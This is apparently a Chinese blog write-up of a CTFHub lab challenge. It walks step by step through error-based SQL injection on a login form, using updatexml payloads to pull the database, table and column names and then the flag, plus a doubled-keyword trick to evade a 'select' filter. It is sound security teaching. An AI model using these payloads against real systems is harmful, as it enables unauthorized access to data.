CTFHub_N1Book-SQL注入-2(报错注入)

N1Book-第一章Web入门-CTF中的SQL注入-SQL注入-2

进入场景,显示一个登录框

查看网页源代码,找到注释中的提示:在url中加入?tips=1出现报错信息

<!-- 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦-->

可知本题考察报错注入

1.尝试获取当前数据库的库名

name=xxx' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&pass=xxx

 2.获取表名

name=xxx' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx

报错说明我们的sql语句被进行了某种替换,导致语法错误。尝试双写绕过(不明白为啥第一次没报错?)

name=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx

3.获取字段名

name=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx

4.获取flag

name=xxx' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)--+&pass=xxx

posted @ 2022-03-24 08:34  zhengna  阅读(1319)  评论(0编辑  收藏  举报